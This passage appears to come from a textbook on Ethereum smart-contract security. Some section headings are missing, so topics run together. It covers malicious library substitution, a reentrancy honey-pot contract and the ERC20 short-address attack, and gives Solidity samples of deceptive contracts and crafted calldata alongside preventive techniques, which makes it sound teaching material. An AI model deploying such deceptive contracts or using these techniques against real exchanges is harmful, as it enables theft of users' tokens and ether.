
Real-World Example: PRNG Contracts

In February 2018 Arseny Reutov blogged about his analysis of 3,649 live smart contracts that were using some sort of pseudorandom number generator (PRNG); he found 43 contracts that could be exploited.

The Vulnerability

In Solidity, any address can be cast to a contract, regardless of whether the code at the address represents the contract type being cast. This can cause problems, especially when the author of the contract is trying to hide malicious code. Let’s illustrate this with an example.

Consider a piece of code like Example 9-8, which rudimentarily implements the ROT13 cipher.

1 // encryption contract
2 contract Rot13Encryption {
3 
4    event Result(string convertedString);
5 
6     // rot13-encrypt a string
7     function rot13Encrypt (string text) public {
8         uint256 length = bytes(text).length;
9         for (var i = 0; i < length; i++) {
10             byte char = bytes(text)[i];
11             // inline assembly to modify the string
12             assembly {
13                 // get the first byte
14                 char := byte(0,char)
15                 // if the character is in [n,z], i.e. wrapping
16                 if and(gt(char,0x6D), lt(char,0x7B))
17                 // subtract from the ASCII number 'a',
18                 // the difference between character <char> and 'z'
19                 { char:= sub(0x60, sub(0x7A,char)) }
20                 if iszero(eq(char, 0x20)) // ignore spaces
21                 // add 13 to char
22                 {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))}
23             }
24         }
25         emit Result(text);
26     }
27 
28     // rot13-decrypt a string
29     function rot13Decrypt (string text) public {
30         uint256 length = bytes(text).length;
31         for (var i = 0; i < length; i++) {
32             byte char = bytes(text)[i];
33             assembly {
34                 char := byte(0,char)
35                 if and(gt(char,0x60), lt(char,0x6E))
36                 { char:= add(0x7B, sub(char,0x61)) }
37                 if iszero(eq(char, 0x20))
38                 {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
39             }
40         }
41         emit Result(text);
42     }
43 }

This code simply takes a string (letters a–z, without validation) and encrypts it by shifting each character 13 places to the right (wrapping around z); i.e., a shifts to n and x shifts to k. The assembly in the preceding contract does not need to be understood to appreciate the issue being discussed, so readers unfamiliar with assembly can safely ignore it.

Now consider the following contract, which uses this code for its encryption:

1 import "Rot13Encryption.sol";
2 
3 // encrypt your top-secret info
4 contract EncryptionContract {
5     // library for encryption
6     Rot13Encryption encryptionLibrary;
7 
8     // constructor - initialize the library
9     constructor(Rot13Encryption _encryptionLibrary) {
10         encryptionLibrary = _encryptionLibrary;
11     }
12 
13     function encryptPrivateData(string privateInfo) {
14         // potentially do some operations here
15         encryptionLibrary.rot13Encrypt(privateInfo);
16      }
17  }

The issue with this contract is that the encryptionLibrary address is not public or constant. Thus, the deployer of the contract could give an address in the constructor that points to this contract:

1 // encryption contract
2 contract Rot26Encryption {
3 
4    event Result(string convertedString);
5 
6     // rot13-encrypt a string
7     function rot13Encrypt (string text) public {
8         uint256 length = bytes(text).length;
9         for (var i = 0; i < length; i++) {
10             byte char = bytes(text)[i];
11             // inline assembly to modify the string
12             assembly {
13                 // get the first byte
14                 char := byte(0,char)
15                 // if the character is in [n,z], i.e. wrapping
16                 if and(gt(char,0x6D), lt(char,0x7B))
17                 // subtract from the ASCII number 'a',
18                 // the difference between character <char> and 'z'
19                 { char:= sub(0x60, sub(0x7A,char)) }
20                 // ignore spaces
21                 if iszero(eq(char, 0x20))
22                 // add 26 to char!
23                 {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))}
24             }
25         }
26         emit Result(text);
27     }
28 
29     // rot13-decrypt a string
30     function rot13Decrypt (string text) public {
31         uint256 length = bytes(text).length;
32         for (var i = 0; i < length; i++) {
33             byte char = bytes(text)[i];
34             assembly {
35                 char := byte(0,char)
36                 if and(gt(char,0x60), lt(char,0x6E))
37                 { char:= add(0x7B, sub(char,0x61)) }
38                 if iszero(eq(char, 0x20))
39                 {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
40             }
41         }
42         emit Result(text);
43     }
44 }

This contract implements the ROT26 cipher, which shifts each character by 26 places (i.e., does nothing). Again, there is no need to understand the assembly in this contract. More simply, the attacker could have linked the following contract to the same effect:

1 contract Print{
2     event Print(string text);
3 
4     function rot13Encrypt(string text) public {
5         emit Print(text);
6     }
7  }

If the address of either of these contracts were given in the constructor, the encryptPrivateData function would simply produce an event that prints the unencrypted private data.

Although in this example a library-like contract was set in the constructor, it is often the case that a privileged user (such as an owner) can change library contract addresses. If a linked contract doesn’t contain the function being called, the fallback function will execute. For example, with the line encryptionLibrary.rot13Encrypt(), if the contract specified by encryptionLibrary was:

1  contract Blank {
2      event Print(string text);
3      function () {
4          emit Print("Here");
5          // put malicious code here and it will run
6      }
7  }

then an event with the text Here would be emitted. Thus, if users can alter contract libraries, they can in principle get other users to unknowingly run arbitrary code.

Preventative Techniques

As demonstrated previously, safe contracts can (in some cases) be deployed in such a way that they behave maliciously. An auditor could publicly verify a contract and have its owner deploy it in a malicious way, resulting in a publicly audited contract that has vulnerabilities or malicious intent.

There are a number of techniques that prevent these scenarios.

One technique is to use the new keyword to create contracts. In the preceding example, the constructor could be written as:

constructor() {
    encryptionLibrary = new Rot13Encryption();
}

This way an instance of the referenced contract is created at deployment time, and the deployer cannot replace the Rot13Encryption contract without changing it.

Another solution is to hardcode external contract addresses.

In general, code that calls external contracts should always be audited carefully. As a developer, when defining external contracts, it can be a good idea to make the contract addresses public (which is not the case in the honey-pot example in the following section) to allow users to easily examine code referenced by the contract. Conversely, if a contract has a private variable contract address it can be a sign of someone behaving maliciously (as shown in the real-world example). If a user can change a contract address that is used to call external functions, it can be important (in a decentralized system context) to implement a time-lock and/or voting mechanism to allow users to see what code is being changed, or to give participants a chance to opt in/out with the new contract address.

Real-World Example: Reentrancy Honey Pot

A number of recent honey pots have been released on the mainnet. These contracts try to outsmart Ethereum hackers who try to exploit the contracts, but who in turn end up losing ether to the contract they expect to exploit. One example employs this attack by replacing an expected contract with a malicious one in the constructor. The code can be found here:

1 pragma solidity ^0.4.19;
2 
3 contract Private_Bank
4 {
5     mapping (address => uint) public balances;
6     uint public MinDeposit = 1 ether;
7     Log TransferLog;
8 
9     function Private_Bank(address _log)
10     {
11         TransferLog = Log(_log);
12     }
13 
14     function Deposit()
15     public
16     payable
17     {
18         if(msg.value >= MinDeposit)
19         {
20             balances[msg.sender]+=msg.value;
21             TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
22         }
23     }
24 
25     function CashOut(uint _am)
26     {
27         if(_am<=balances[msg.sender])
28         {
29             if(msg.sender.call.value(_am)())
30             {
31                 balances[msg.sender]-=_am;
32                 TransferLog.AddMessage(msg.sender,_am,"CashOut");
33             }
34         }
35     }
36 
37     function() public payable{}
38 
39 }
40 
41 contract Log
42 {
43     struct Message
44     {
45         address Sender;
46         string  Data;
47         uint Val;
48         uint  Time;
49     }
50 
51     Message[] public History;
52     Message LastMsg;
53 
54     function AddMessage(address _adr,uint _val,string _data)
55     public
56     {
57         LastMsg.Sender = _adr;
58         LastMsg.Time = now;
59         LastMsg.Val = _val;
60         LastMsg.Data = _data;
61         History.push(LastMsg);
62     }
63 }

This post by one reddit user explains how they lost 1 ether to this contract by trying to exploit the reentrancy bug they expected to be present in the contract.

The Vulnerability

When passing parameters to a smart contract, the parameters are encoded according to the ABI specification. It is possible to send encoded parameters that are shorter than the expected parameter length (for example, sending an address that is only 38 hex chars (19 bytes) instead of the standard 40 hex chars (20 bytes)). In such a scenario, the EVM will add zeros to the end of the encoded parameters to make up the expected length.

This becomes an issue when third-party applications do not validate inputs. The clearest example is an exchange that doesn’t verify the address of an ERC20 token when a user requests a withdrawal. This example is covered in more detail in Peter Vessenes’s post, “The ERC20 Short Address Attack Explained”.

Consider the standard ERC20 transfer function interface, noting the order of the parameters:

function transfer(address to, uint tokens) public returns (bool success);

Now consider an exchange holding a large amount of a token (let’s say REP) and a user who wishes to withdraw their share of 100 tokens. The user would submit their address, 0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead, and the number of tokens, 100. The exchange would encode these parameters in the order specified by the transfer function; that is, address then tokens. The encoded result would be:

a9059cbb000000000000000000000000deaddeaddea \
ddeaddeaddeaddeaddeaddeaddead0000000000000
000000000000000000000000000000000056bc75e2d63100000

The first 4 bytes (a9059cbb) are the transfer function signature/selector, the next 32 bytes are the address, and the final 32 bytes represent the uint256 number of tokens. Notice that the hex 56bc75e2d63100000 at the end corresponds to 100 tokens (with 18 decimal places, as specified by the REP token contract).

Let us now look at what would happen if one were to send an address that was missing 1 byte (2 hex digits). Specifically, let’s say an attacker sends 0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde as an address (missing the last two digits) and the same 100 tokens to withdraw. If the exchange does not validate this input, it will get encoded as:

a9059cbb000000000000000000000000deaddeaddea \
ddeaddeaddeaddeaddeaddeadde00000000000000
00000000000000000000000000000000056bc75e2d6310000000

The difference is subtle. Note that 00 has been added to the end of the encoding, to make up for the short address that was sent. When this gets sent to the smart contract, the address parameters will be read as 0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00 and the value will be read as 56bc75e2d6310000000 (notice the two extra 0s). This value is now 25600 tokens (the value has been multiplied by 256). In this example, if the exchange held this many tokens, the user would withdraw 25600 tokens (while the exchange thinks the user is only withdrawing 100) to the modified address. Obviously the attacker won’t possess the modified address in this example, but if the attacker were to generate any address that ended in 0s (which can be easily brute-forced) and used this generated address, they could steal tokens from the unsuspecting exchange.